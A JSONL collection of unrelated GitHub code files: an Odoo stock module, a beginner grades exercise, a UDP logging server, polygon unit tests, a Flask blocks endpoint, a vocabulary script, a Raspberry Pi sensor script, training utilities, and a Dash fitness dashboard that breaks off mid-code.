{"seq_id":"8757957615","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import api, fields, models\nfrom odoo.exceptions import ValidationError\nimport odoo.addons.decimal_precision as dp\n\nimport math\n\n\nclass StockWarehouseOrderpoint(models.Model):\n    _inherit = 'stock.warehouse.orderpoint'\n\n    def _default_of_delivery_delay(self):\n        of_delivery_delay = 0\n        if self.product_id and self.product_id.seller_ids:\n            of_delivery_delay = self.product_id.seller_ids[0].delay\n        return of_delivery_delay\n\n    of_forecast_qty = fields.Float(string=u\"Qté Prév. N\", digits=dp.get_precision('Product Unit of Measure'))\n    of_pace_of_sale = fields.Float(string=u\"Rythme de vente\", digits=(16, 2), compute='_compute_of_pace_of_sale')\n    of_delivery_delay = fields.Integer(string=u\"Délai de livraison\", default=_default_of_delivery_delay)\n    of_min_theoretical_qty = fields.Float(\n        string=u\"Qté mini théorique\", digits=(16, 2), compute='_compute_of_min_theoretical_qty')\n    of_min_stock_coef = fields.Float(string=u\"Coef stock min\", digits=(16, 2), default=1.0)\n    of_max_stock_coef = fields.Float(string=u\"Coef stock maxi\", digits=(16, 2), default=1.0)\n\n    @api.depends('of_forecast_qty')\n    def _compute_of_pace_of_sale(self):\n        if self.of_forecast_qty:\n            self.of_pace_of_sale = 1 / (self.of_forecast_qty / 365)\n\n    @api.depends('of_delivery_delay', 'of_pace_of_sale')\n    def _compute_of_min_theoretical_qty(self):\n        if self.of_pace_of_sale:\n            self.of_min_theoretical_qty = self.of_delivery_delay / self.of_pace_of_sale\n\n    @api.multi\n    def compute_min_max_qty(self):\n        \"\"\"Calcul des quantités mini et maxi des règles de stocks\"\"\"\n\n        for orderpoint in self:\n            # On ne valorise qty min/max que si la qté min théorique est remplie\n            if orderpoint.of_min_theoretical_qty:\n                product_min_qty = orderpoint.of_min_theoretical_qty * orderpoint.of_min_stock_coef\n                self.product_min_qty = math.ceil(product_min_qty)\n                self.product_max_qty = max(math.floor(product_min_qty * orderpoint.of_max_stock_coef),\n                                           self.product_min_qty)\n\n    @api.constrains('of_min_stock_coef', 'of_max_stock_coef')\n    def constraint_stock_coef(self):\n        if not self.of_max_stock_coef or not self.of_min_stock_coef:\n            raise ValidationError(u\"Un coefficient doit toujours être supérieur à 0\")\n        if self.of_max_stock_coef < 1.0:\n            raise ValidationError(u\"Le coef de stock maxi doit toujours être supérieur ou égal a 1\")\n\n    @api.onchange('product_id')\n    def onchange_product_id(self):\n        of_delivery_delay = 0\n        if self.product_id and self.product_id.seller_ids:\n            of_delivery_delay = self.product_id.seller_ids[0].delay\n        self.of_delivery_delay = of_delivery_delay\n","repo_name":"odof/openfire","sub_path":"of_sale_forecast/models/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"}
{"seq_id":"4414882613","text":"students = [\"Вася\", \"Маша\", \"Петя\", \"Дима\", \"Марина\", \"Люба\", \"Коля\", \"Ваня\"]\r\ngrades = {\"Вася\" : 4, \"Петя\" : 9, \"Марина\" : 8, \"Люба\" : 4, \"Коля\" : 5, \"Ваня\": 10}\r\nfor i in students:\r\n    if i in grades:\r\n        print(f\"{i} оценка: {grades[i]} \")\r\n    else:\r\n        print(f\"{i}Контрольную работу не писал(а)\")\r\n\r\nbad = []\r\ngood = []\r\nfor i in students:\r\n    if i in grades:\r\n        if grades[i] >= 8:\r\n            good.append(i)\r\n    else:\r\n        bad.append(i)\r\nprint(good, bad)\r\n\r\nmarks = {'Mary': [5, 8, 9, 10, 3, 5, 6, 6],\r\n        'John': [3, 3, 6, 8, 2, 1, 8, 5],\r\n        'Alex': [4, 4, 7, 4, 7, 3, 2, 9],\r\n        'Patricia': [2, 1, 6, 8, 2, 3, 7, 4]}\r\ncourse = int(input()) - 1\r\ntotal = 0\r\nfor i in marks.values():\r\n        total += i[course]\r\nprint(round(total / len(marks)))\r\n\r\n\r\nmarks = {'Mary': [5, 8, 9, 10, 3, 5, 6, 6],\r\n         'John': [3, 3, 6, 8, 2, 1, 8, 5],\r\n         'Alex': [4, 4, 7, 4, 7, 3, 2, 9],\r\n         'Patricia': [2, 1, 6, 8, 2, 3, 7, 4]}\r\ncategories = {'отлично': [8, 9, 10],\r\n              'хорошо': [6, 7],\r\n              'удовлетворительно': [4, 5],\r\n              'неуд': [0, 1, 2, 3]}\r\ncourse = int(input()) - 1\r\ntotal = 0\r\nfor i in marks.values():\r\n        total += i[course]\r\nfor k, v in categories.items():\r\n        if round(total / len(marks)) in v:\r\n                print(k)\r\n\r\nmarks = {'Mary': [5, 8, 9, 10, 3, 5, 6, 6],\r\n         'John': [3, 3, 6, 8, 2, 1, 8, 5],\r\n         'Alex': [4, 4, 7, 4, 7, 3, 2, 9],\r\n         'Patricia': [2, 1, 6, 8, 2, 3, 7, 4]}\r\nmark = int(input())\r\nc = 0\r\nfor k, v in marks.items():\r\n        for i in v:\r\n                if i >= mark:\r\n                        c += 1\r\nprint(c)\r\n\r\n\r\n","repo_name":"burinnn/bur.inn3","sub_path":"11.py","file_name":"11.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"2497219339","text":"import socket\nimport numpy as np\nimport struct\nfrom time import sleep\nimport csv\n\nlocalIP     = \"192.168.1.2\"\nlocalPort   = 20001\nbufferSize  = 1024\n# Create a datagram socket\nUDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)\n# Bind to address and ip\nUDPServerSocket.bind((localIP, localPort))\nprint(\"UDP server up and listening\")\n# Listen for incoming datagrams\nbytesAddressPair = UDPServerSocket.recvfrom(bufferSize)\nmessage = bytesAddressPair[0]\naddress = bytesAddressPair[1]\nprint(address)\nwhile(True):\n    f = open('log.txt','a')\n    timestamp = str(UDPServerSocket.recvfrom(bufferSize)[0]).replace(\"'\",'').replace('b','').replace('\\\\n','\\r\\n')\n    values = str(UDPServerSocket.recvfrom(bufferSize)[0]).replace(\"'\",'').replace('b','').replace('\\\\n','\\r\\n')\n    print(timestamp)\n    print(values)\n    f.write(timestamp)\n    f.write(values)\n    sleep(0.7)\n    f.close()\n\n\n","repo_name":"andresosorios23/Server","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"74659914664","text":"import unittest\nfrom polygon import *\nimport turtle\n\n\n# Setup the test calss and inherit the mehtods\nclass TestPolygon(unittest.TestCase):\n    \n    def test_sort_points(self):\n        self.assertEqual(sort_points([[10,50],[50,10],[30,20]]),\n                                        [[50,10],[30,20],[10,50]])\n        self.assertEqual(sort_points([[10,50],[30,20],[50,10]]),\n                                        [[50,10],[30,20],[10,50]])\n        \n    def test_get_angle(self):\n        self.assertEqual(get_angle([50,10]), 11.309932474020215)\n        # Coordinates in third quadrant\n        self.assertEqual(round(get_angle([-158,-80])),297)\n        # Angle is bigger than 360\n        self.assertEqual(round(get_angle([221,-10])),-3)\n        # Angle bigger than 360\n        self.assertEqual(round(get_angle([121.66, -260.0])),-65)\n    \n    def test_sort_item(self):\n        self.assertEqual(sort_item(2,[[20,30],[10,50],[50,10]]),[[50,10],[20,30],[10,50]])\n\nif __name__ == '__main__':\n    # Run the whole test\n    unittest.main()","repo_name":"the-magnificents/04-02-2021-Carpentry-for-HGIS","sub_path":"02_Day_2_Python_GIS/code/test_polygon.py","file_name":"test_polygon.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"}
{"seq_id":"30274229205","text":"from flask.views import MethodView\nfrom flask import request, jsonify, json\n\nfrom traceback import print_exc\n\nfrom block_compass.db import get_block_by_timestamp, get_chains\n\n\nclass Blocks(MethodView):\n    def get(self):\n\n        try: \n            params = request.args.to_dict()\n            timestamp = int(params['timestamp'])\n            chain_ids = params.get('chain_ids')\n\n            if chain_ids is None:\n                chain_ids = [chain['id'] for chain in get_chains()]\n            else:\n                chain_ids = json.loads(chain_ids)\n\n            blocks = {}\n            for chain_id in chain_ids:\n                blocks[chain_id] = get_block_by_timestamp(timestamp, chain_id)['number']\n\n            return jsonify(success=True, blocks=blocks), 200\n\n        except Exception as e:\n            print_exc()\n            return jsonify(success=False, message='Bad Request!'), 400","repo_name":"smrm-dev/block-compass","sub_path":"block_compass/views/blocks.py","file_name":"blocks.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"}
{"seq_id":"39444818561","text":"#\n\"\"\"Creates vocabulary from a set of data files.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# pylint: disable=invalid-name\n\nimport sys\n\nimport tensorflow as tf\n\nimport texar as tx\n\nPy3 = sys.version_info[0] == 3\n\nflags = tf.flags\n\nflags.DEFINE_string(\"files\", \"./\",\n                    \"Path to the data files. Can be a pattern, e.g., \"\n                    \"'/path/to/train*', '/path/to/train[12]'. Wrap the path \"\n                    \"with quotation marks if a pattern is provided.\")\nflags.DEFINE_integer(\"max_vocab_size\", -1,\n                     \"Maximum size of the vocabulary. Low frequency words \"\n                     \"that exceeding the limit will be discarded. \"\n                     \"Set to `-1` if no truncation is wanted.\")\nflags.DEFINE_string(\"output_path\", \"./vocab.txt\",\n                    \"Path of the output vocab file.\")\nflags.DEFINE_string(\"newline_token\", None,\n                    \"The token to replace the original newline token '\\n'. \"\n                    \"For example, `--newline_token '<EOS>'`. If not \"\n                    \"specified, no replacement is performed.\")\n\nFLAGS = flags.FLAGS\n\n\ndef main(_):\n    \"\"\"Makes vocab.\n    \"\"\"\n    filenames = tx.data.get_files(FLAGS.files)\n    vocab = tx.data.make_vocab(filenames,\n                               max_vocab_size=FLAGS.max_vocab_size,\n                               newline_token=FLAGS.newline_token)\n\n    with open(FLAGS.output_path, \"w\") as fout:\n        fout.write('\\n'.join(vocab).encode(\"utf-8\"))\n\nif __name__ == \"__main__\":\n    tf.app.run()\n","repo_name":"VegB/Text_Infilling","sub_path":"bin/utils/make_vocab.py","file_name":"make_vocab.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"36"}
{"seq_id":"38387497814","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.cleanup()\n\n\nsensor = 7\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(sensor,GPIO.IN)\n\n\n\nprint (\"IR Sensor Ready.....\")\n\n\ntry: \n    while True:\n        if GPIO.input(sensor):\n            print (\"Object Detected\")\n            while GPIO.input(sensor):\n                time.sleep(0.2)\n        else:\n            print(\"x\")\n            time.sleep(0.2)\n      \n        \n\n\nexcept KeyboardInterrupt:\n    GPIO.cleanup()","repo_name":"Denn1sM/pir-server-activator","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"46152336150","text":"import contextlib, random\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom torch.nn.utils import parameters_to_vector as p2v\n\n\ndef current_val_interval(cfg, step):\n    v_intervals = [(int(k), int(v)) for k, v in cfg[\"training\"][\"val_interval\"].items()]\n    for k, v in sorted(v_intervals, reverse=True):\n        if step > k:\n            return v\n\ndef resize_input(input, target, align_corners=True, mode='bilinear'):\n    \"\"\"Resize input to match last two dimensions of target (generally, spatial dimensions h, w).\"\"\"\n    h, w = input.shape[-2:]\n    ht, wt = target.shape[-2:]\n\n    if h != ht and w != wt:\n        return F.interpolate(input, size=(ht, wt), mode=mode, align_corners=align_corners)\n    return input\n\ndef count(module):\n    \"\"\"Count total number of parameters in nn.Module.\"\"\"\n    return p2v(module.parameters()).numel()\n\ndef setup_seeds(seed):\n    torch.backends.cudnn.deterministic = True\n    random.seed(seed)\n    np.random.seed(seed)\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed_all(seed)\n\n@contextlib.contextmanager\ndef np_local_seed(seed):\n    state = np.random.get_state()\n    np.random.seed(seed)\n    try:\n        yield\n    finally:\n        np.random.set_state(state)\n\n\ndef get_trainer(cfg):\n    if 'da' in cfg.training:\n        from training.da_train import Trainer\n    else:\n        from training.train import Trainer\n    return Trainer(cfg)","repo_name":"astra-vision/DenseMTL","sub_path":"utils/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"35"}
{"seq_id":"40614492243","text":"import pandas as pd\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.graph_objs as go\nimport dash_daq as daq\nimport dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output, State\nfrom ..api.sqlalchemy_declarative import stravaSummary, stravaSamples, stravaBestSamples, athlete, withings\nfrom ..api.database import engine\nfrom ..app import app\nfrom datetime import datetime, timedelta\nfrom dateutil.relativedelta import relativedelta\nfrom ..utils import config, stryd_credentials_supplied\nfrom sqlalchemy import func, or_\nimport math\nfrom ..api.strydAPI import get_training_distribution\n\n# pre_style = {\"backgroundColor\": \"#ddd\", \"fontSize\": 20, \"padding\": \"10px\", \"margin\": \"10px\"}\nhidden_style = {\"display\": \"none\"}\nhidden_inputs = html.Div(id=\"hidden-inputs\", style=hidden_style, children=[])\n\ntransition = int(config.get('dashboard', 'transition'))\n\nwhite = config.get('oura', 'white')\nteal = config.get('oura', 'teal')\nlight_blue = config.get('oura', 'light_blue')\ndark_blue = config.get('oura', 'dark_blue')\norange = config.get('oura', 'orange')\nftp_color = 'rgb(100, 217, 236)'\n\n\ndef create_power_curve_kpis(interval, all, L90D, l6w, last, pr):\n    return \\\n        html.Div(className='row align-items-center text-center', children=[\n            ### Interval KPI ###\n            html.Div(className='col-auto', children=[\n                html.H4(id='power-curve-title', className='mb-0',\n                        children='Power Curve {}'.format(timedelta(seconds=interval))),\n            ]),\n            dbc.Tooltip(\n                '''A high power output for short periods of time (10 seconds) can contribute to improved performance across your entire Power Duration Curve. To improve musle power, focus on VO2 Max Intervals, Hill / Track Repeats and Supplemental Training.\n                \n                Fatigue resistance directly reflects your ability to run at close to maximal effort for your goal race distance. To improve fatigue fesistance, focus on Long Runs, High Volume Easy Runs, and Aerobic Threshold Tempo Runs.\n                \n                Building up your endurance with longer runs helps improve your body's ability to sustain efforts for long durations. To improve endurance, focus on Aerobic Threshold Tempo Runs, Race Specific Training and Long Runs.''',\n                target=\"power-curve-title\"),\n\n            ### All KPI ###\n            html.Div(id='all-kpi', className='col-lg-12 mb-0', children=[\n                html.H5('All Time {}'.format(all),\n                        style={'display': 'inline-block',  # 'fontWeight': 'bold',\n                               'color': white, 'backgroundColor': dark_blue, 'marginTop': '0',\n                               'marginBottom': '0',\n                               'borderRadius': '.3rem'}),\n            ]),\n            ### L90D KPI ###\n            html.Div(id='L90D-kpi', className='col-lg-12 mb-0', children=[\n                html.H5('L90D {}'.format(L90D if pr == '' else pr),\n                        style={'display': 'inline-block',  # 'fontWeight': 'bold',\n                               'color': 'rgb(46,46,46)', 'backgroundColor': white if pr == '' else orange,\n                               'marginTop': '0',\n                               'marginBottom': '0',\n                               'borderRadius': '.3rem'}),\n            ]),\n            ### L6W KPI ###\n            html.Div(id='l6w-kpi', className='col-lg-12 mb-0', children=[\n                html.H5('L6W {}'.format(l6w),\n                        style={'display': 'inline-block',  # 'fontWeight': 'bold',\n                               'color': white, 'backgroundColor': light_blue, 'marginTop': '0',\n                               'marginBottom': '0',\n                               'borderRadius': '.3rem'}),\n            ]),\n            ### Last KPI ###\n            html.Div(id='last-kpi', className='col-lg-12 mb-0', children=[\n                html.H5('L30D {}'.format(last),\n                        style={'display': 'inline-block',  # 'fontWeight': 'bold',\n                               'color': 'rgb(46,46,46)', 'backgroundColor': teal, 'marginTop': '0',\n                               'marginBottom': '0',\n                               'borderRadius': '.3rem'}),\n            ]),\n\n        ]),\n\n\ndef get_workout_title(activity_id=None):\n    min_non_warmup_workout_time = app.session.query(athlete).filter(\n        athlete.athlete_id == 1).first().min_non_warmup_workout_time\n    activity_id = app.session.query(stravaSummary.activity_id).filter(stravaSummary.type.ilike('%ride%'),\n                                                                      stravaSummary.elapsed_time > min_non_warmup_workout_time).order_by(\n        stravaSummary.start_date_utc.desc()).first()[0] if not activity_id else activity_id\n    df_samples = pd.read_sql(\n        sql=app.session.query(stravaSamples).filter(stravaSamples.activity_id == activity_id).statement,\n        con=engine,\n        index_col=['timestamp_local'])\n\n    app.session.remove()\n\n    return [html.H6(datetime.strftime(df_samples['date'][0], \"%A %b %d, %Y\"), style={'height': '50%'}),\n            html.H6(df_samples['act_name'][0], style={'height': '50%'})]\n\n\ndef power_profiles(interval, activity_type='ride', power_unit='mmp', group='M'):\n    activity_type = '%' + activity_type + '%'\n\n    # Filter on interval passed\n    df_best_samples = pd.read_sql(\n        sql=app.session.query(stravaBestSamples).filter(stravaBestSamples.type.ilike(activity_type),\n                                                        stravaBestSamples.interval == interval).statement, con=engine,\n        index_col=['timestamp_local'])\n\n    app.session.remove()\n    if len(df_best_samples) < 1:\n        return {}\n\n    # Create columns for x-axis\n    df_best_samples['power_profile_dategroup'] = df_best_samples.index.to_period(group).to_timestamp()\n\n    df = df_best_samples[['activity_id', power_unit, 'power_profile_dategroup', 'interval']]\n    df = df.loc[df.groupby('power_profile_dategroup')[power_unit].idxmax()]\n\n    figure = {\n        'data': [\n            go.Bar(\n                x=df['power_profile_dategroup'],\n                y=df[power_unit],\n                customdata=[\n                    '{}_{}_{}'.format(df.loc[x]['activity_id'], df.loc[x]['interval'].astype('int'),\n                                      interval) for x in df.index],\n                # add fields to text so data can go through clickData\n                text=[\n                    '{:.2f} W/kg'.format(x) if power_unit == 'watts_per_kg' else '{:.0f} W'.format(\n                        x)\n                    for x in\n                    df[power_unit]],\n                hoverinfo='x+text',\n                marker=dict(\n                    color=[orange if x == df[power_unit].max() else light_blue for x in\n                           df[power_unit]],\n                )\n            )\n        ],\n        'layout': go.Layout(\n            # transition=dict(duration=transition),\n            font=dict(\n                size=10,\n                color=white\n            ),\n            height=400,\n            xaxis=dict(\n                showticklabels=True,\n                tickformat=\"%b '%y\"\n            ),\n            yaxis=dict(\n                showgrid=True,\n                gridcolor='rgb(73, 73, 73)',\n            ),\n            margin={'l': 25, 'b': 25, 't': 5, 'r': 20},\n\n        )\n    }\n\n    return figure\n\n\ndef stryd_training_distributions():\n    current_ftp_w = app.session.query(stravaSummary).filter(stravaSummary.type.ilike('run')).order_by(\n        stravaSummary.start_date_utc.desc()).first().ftp\n\n    # Data points for Power Curve Training Disribution\n    TD_df_L90D = pd.read_sql(\n        sql=app.session.query(\n            func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id, stravaBestSamples.ftp,\n            stravaBestSamples.interval, stravaBestSamples.time_interval,\n            stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n        ).group_by(stravaBestSamples.interval).filter(stravaBestSamples.type.ilike('run'),\n                                                      stravaBestSamples.timestamp_local >= (\n                                                              datetime.now() - timedelta(days=90))\n                                                      ).statement, con=engine)\n\n    app.session.remove()\n\n    ### STRYD TRAINING DISTRIBUTION USES CURRENT WEIGHT WHEN CALCULATING W/KG ###\n    ### TRAINING DIST BARS WILL DO THE SAME TO BETTER ALIGN WITH PERCENTILES ###\n    ### ACTUAL DATA SHOWN IN POWER CURVE WILL BE BASED ON FTP AT THE TIME OF RECORDING FOR BETTER ACCURACY ###\n\n    # Make room on canvas for training dist bars\n    td = get_training_distribution()\n    data = [\n        # Fitness\n        go.Bar(\n            xaxis='x', yaxis='y', customdata=['ignore'], x=[100],\n            y=['Fitness'],\n            # width=.5,\n            marker=dict(color=light_blue),\n            showlegend=False,\n            text=[\n                'Fitness: <b>{:.2f}</b> W/kg<br>Stryd Avg: <b>{:.2f}</b> W/kg<br>Percentile: <b>{:.0%}'.format(\n                    td[\"attr\"][\"fitness\"],  # Use value directly from stryd api call\n                    td[\"percentile\"][\"median_fitness\"],\n                    td[\"percentile\"][\"fitness\"])\n            ],\n            hoverinfo='text',\n            orientation='h'),\n\n        # Muscle Power\n        go.Bar(\n            xaxis='x', yaxis='y', customdata=['ignore'], x=[100],\n            y=['Muscle Power'],\n            # width=.5,\n            marker=dict(color=light_blue),\n            showlegend=False,\n            text=[\n                'Max 10 Sec Power: <b>{:.2f} </b>W/kg<br>Stryd Avg: <b>{:.2f}</b> W/kg<br>Percentile: <b>{:.0%}'.format(\n                    td[\"attr\"][\"muscle_power\"],  # Use value directly from stryd api call\n                    td[\"percentile\"][\"median_muscle_power\"],\n                    td[\"percentile\"][\"muscle_power\"]),\n            ],\n            hoverinfo='text',\n            orientation='h'),\n\n        # Fatigue Resistance\n        go.Bar(\n            xaxis='x', yaxis='y', customdata=['ignore'], x=[100],\n            y=['Fatigue'],\n            # width=.5,\n            marker=dict(color=light_blue),\n            showlegend=False,\n            text=[\n                'Longest 100% CP: <b>{}</b> <br>Stryd Avg: <b>{}</b><br>Percentile: <b>{:.0%}'.format(\n                    timedelta(seconds=int(td[\"attr\"][\"fatigue_resistance\"])),  # Use value directly from stryd api call\n                    timedelta(seconds=int(td[\"percentile\"][\"median_fatigue_resistance\"])),\n                    td[\"percentile\"][\"fatigue_resistance\"]),\n            ],\n            hoverinfo='text',\n            orientation='h'),\n        # Endurance\n        go.Bar(\n            xaxis='x', yaxis='y', customdata=['ignore'], x=[100],\n            y=['Endurance'],\n            # width=.5,\n            marker=dict(color=light_blue),\n            showlegend=False,\n            text=[\n                'Longest 50% CP: <b>{}</b> <br>Stryd Avg: <b>{}</b><br>Percentile: <b>{:.0%}'.format(\n                    timedelta(seconds=int(td[\"attr\"][\"endurance\"])),  # Use value directly from stryd api call\n                    timedelta(seconds=int(td[\"percentile\"][\"median_endurance\"])),\n                    td[\"percentile\"][\"endurance\"])\n            ],\n            hoverinfo='text',\n            orientation='h'),\n    ]\n\n    shapes = [\n        # Training distribution charts lines\n        (dict(type='line', xref='x', yref='y', x0=50, x1=50, y0=0.05, y1=.35,\n              line=dict(color=white, width=1, dash=\"dot\", ), ),\n         dict(type='line', xref='x', yref='y', x0=td['percentile']['fitness'] * 100,\n              x1=td['percentile']['fitness'] * 100, y0=0, y1=.4,\n              line=dict(color=white, width=2, ), )\n         ),\n\n        (dict(type='line', xref='x', yref='y', x0=50, x1=50, y0=0.05, y1=.35,\n              line=dict(color=white, width=1, dash=\"dot\", ), ),\n         dict(type='line', xref='x', yref='y', x0=td['percentile']['muscle_power'] * 100,\n              x1=td['percentile']['muscle_power'] * 100, y0=0, y1=.4,\n              line=dict(color=white, width=2, ), )),\n\n        (dict(type='line', xref='x', yref='y', x0=50, x1=50, y0=0.05, y1=.35,\n              line=dict(color=white, width=1, dash=\"dot\", ), ),\n         dict(type='line', xref='x', yref='y', x0=td['percentile']['fatigue_resistance'] * 100,\n              x1=td['percentile']['fatigue_resistance'] * 100, y0=0, y1=.4,\n              line=dict(color=white, width=2, ), )),\n\n        (dict(type='line', xref='x', yref='y', x0=50, x1=50, y0=0.05, y1=.35,\n              line=dict(color=white, width=1, dash=\"dot\", ), ),\n\n         dict(type='line', xref='x', yref='y', x0=td['percentile']['endurance'] * 100,\n              x1=td['percentile']['endurance'] * 100, y0=0, y1=.4,\n              line=dict(color=white, width=2)\n              ))\n    ]\n    annotations = [\n        go.layout.Annotation(\n            font={'size': 12, 'color': white}, x=50, y=.7, xref=\"x\", yref=\"y\",\n            text='Fitness: {:.0f} W'.format(current_ftp_w),\n            showarrow=False,\n        ),\n\n        go.layout.Annotation(\n            font={'size': 12, 'color': white}, x=50, y=.7, xref=\"x\", yref=\"y\",\n            text='Muscle Power: {:.0f} W'.format(TD_df_L90D.loc[10]['mmp']),\n            showarrow=False,\n        ),\n\n        go.layout.Annotation(\n            font={'size': 12, 'color': white}, x=50, y=.7, xref=\"x\", yref=\"y\",\n            text='Fatigue Resistance: {}'.format(timedelta(seconds=int(td[\"attr\"][\"fatigue_resistance\"]))),\n\n            showarrow=False,\n        ),\n        go.layout.Annotation(\n            font={'size': 12, 'color': white}, x=50, y=.7, xref=\"x\", yref=\"y\",\n            text='Endurance: {}'.format(timedelta(seconds=int(td[\"attr\"][\"endurance\"]))),\n            showarrow=False,\n        ),\n\n    ]\n    layouts = []\n    for i in range(4):\n        layouts.append(\n            go.Layout(\n                font=dict(size=10, color=white),\n                shapes=[shapes[i][0], shapes[i][1]],\n                annotations=[annotations[i]],\n                height=100,\n                xaxis=dict(showgrid=False, showline=False, zeroline=False, showticklabels=False, range=[0, 100]),\n                margin={'l': 0, 'b': 20, 't': 0, 'r': 0},\n                showlegend=False,\n                autosize=True,\n                hovermode='x',\n                yaxis=dict(showgrid=False, showline=False, zeroline=False, showticklabels=False, range=[0, 1]),\n            )\n        )\n\n    graphs = []\n    for i in range(4):\n        graphs.append(\n            html.Div(className='col-lg-12', style={'paddingRight': 0, 'paddingLeft': 0}, children=[\n                dcc.Graph(\n                    config={\n                        'displayModeBar': False\n                    },\n                    style={'height': '100%'},\n                    figure={\n                        'data': [data[i]],\n                        'layout': layouts[i]}\n                )\n            ])\n        )\n\n    return graphs\n\n\ndef power_curve(activity_type='ride', power_unit='mmp', last_id=None, height=400, time_comparison=None,\n                intensity='all'):\n    # TODO: Add power curve model once sweatpy has been finished\n    # https://sweatpy.gssns.io/features/Power%20duration%20modelling/#comparison-of-power-duration-models\n    activity_type = '%' + activity_type + '%'\n\n    max_interval = app.session.query(\n        func.max(stravaBestSamples.interval).label('interval')).filter(\n        stravaBestSamples.type.ilike(activity_type)).first()[0]\n\n    act_dict = pd.read_sql(\n        sql=app.session.query(stravaBestSamples.activity_id, stravaBestSamples.act_name).distinct().statement,\n        con=engine,\n        index_col='activity_id').to_dict()\n\n    # Data points for Power Curve Training Disribution\n    # Join in weight at the time of workout for calculating FTP_W/kg at point in time (of workout)\n    TD_df_L90D = pd.read_sql(\n        sql=app.session.query(\n            func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id, stravaBestSamples.ftp,\n            stravaBestSamples.interval, stravaBestSamples.time_interval,\n            stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n            stravaSummary.weight\n        ).join(stravaSummary, stravaBestSamples.activity_id == stravaSummary.activity_id, isouter=True).group_by(\n            stravaBestSamples.interval).filter(stravaBestSamples.type.ilike(activity_type),\n                                               stravaBestSamples.timestamp_local >= (\n                                                       datetime.now() - timedelta(days=90))\n                                               ).statement, con=engine, index_col='interval')\n\n    # Don't show TD date when plotting a small chart ( <400 height)\n    td_data_exists = len(TD_df_L90D) > 0 and height >= 400\n    # If training distribution data exists\n    if td_data_exists:\n        TD_df_L90D['act_name'] = TD_df_L90D['activity_id'].map(act_dict['act_name'])\n        TD_df_L90D['ftp_wkg'] = TD_df_L90D['ftp'] / (TD_df_L90D['weight'] * 0.453592)\n\n        ### Calculations for L90D workouts based on todays weights for stryd comparisons ###\n        # Stryd uses \"Current FTP\" and \"Current Weight\" across all workouts for last 90 days for their power curve\n        # To align with their percentiles, we use these metrics (pulled from api)\n\n        # For our actual power curve chart, we will use ftp as of when the workout was done for a more accurate chart\n        fatigue_df = TD_df_L90D.loc[TD_df_L90D[\n            TD_df_L90D[power_unit] > TD_df_L90D['ftp_wkg' if power_unit == 'watts_per_kg' else 'ftp']].index.max()]\n        fatigue_ftp = fatigue_df.ftp_wkg if power_unit == 'watts_per_kg' else fatigue_df.ftp\n        endurance_df = TD_df_L90D.loc[TD_df_L90D[TD_df_L90D[power_unit] > (\n                TD_df_L90D['ftp_wkg' if power_unit == 'watts_per_kg' else 'ftp'] / 2)].index.max()]\n        endurance_ftp = endurance_df.ftp_wkg / 2 if power_unit == 'watts_per_kg' else endurance_df.ftp / 2\n\n        # Muscle power is just best 10 second power\n        muscle_power = TD_df_L90D.loc[10][power_unit]\n\n        TD_df_at = pd.read_sql(\n            sql=app.session.query(\n                func.max(stravaBestSamples.mmp).label('mmp'), stravaBestSamples.activity_id, stravaBestSamples.ftp,\n                stravaBestSamples.interval, stravaBestSamples.time_interval,\n                stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n            ).group_by(stravaBestSamples.interval).filter(stravaBestSamples.type.ilike(activity_type),\n                                                          or_(stravaBestSamples.interval == 10,\n                                                              stravaBestSamples.interval == int(fatigue_df.name),\n                                                              stravaBestSamples.interval == int(endurance_df.name)),\n                                                          ).statement, con=engine, index_col='interval')\n\n        muscle_power_best = True if TD_df_at.loc[10][power_unit] == muscle_power else False\n        endurance_best = True if TD_df_at.loc[endurance_df.name][power_unit] == endurance_df[power_unit] else False\n        fatigue_best = True if TD_df_at.loc[fatigue_df.name][power_unit] == fatigue_df[power_unit] else False\n\n    # 1 second intervals from 0-60 seconds\n    interval_lengths = [i for i in range(1, 61)]\n    # 5 second intervals from 1:15 - 20:00 mins\n    interval_lengths += [i for i in range(65, 1201, 5)]\n    # 30 second intervals for everything after 20 mins\n    interval_lengths += [i for i in range(1230, (int(math.floor(max_interval / 10.0)) * 10) + 1, 30)]\n\n    all_best_interval_df = pd.read_sql(\n        sql=app.session.query(\n            func.max(stravaBestSamples.mmp).label('mmp'),\n            stravaBestSamples.activity_id, stravaBestSamples.interval, stravaBestSamples.time_interval,\n            stravaBestSamples.date, stravaBestSamples.timestamp_local, stravaBestSamples.watts_per_kg,\n        ).group_by(stravaBestSamples.interval).filter(stravaBestSamples.interval.in_(interval_lengths),\n                                                      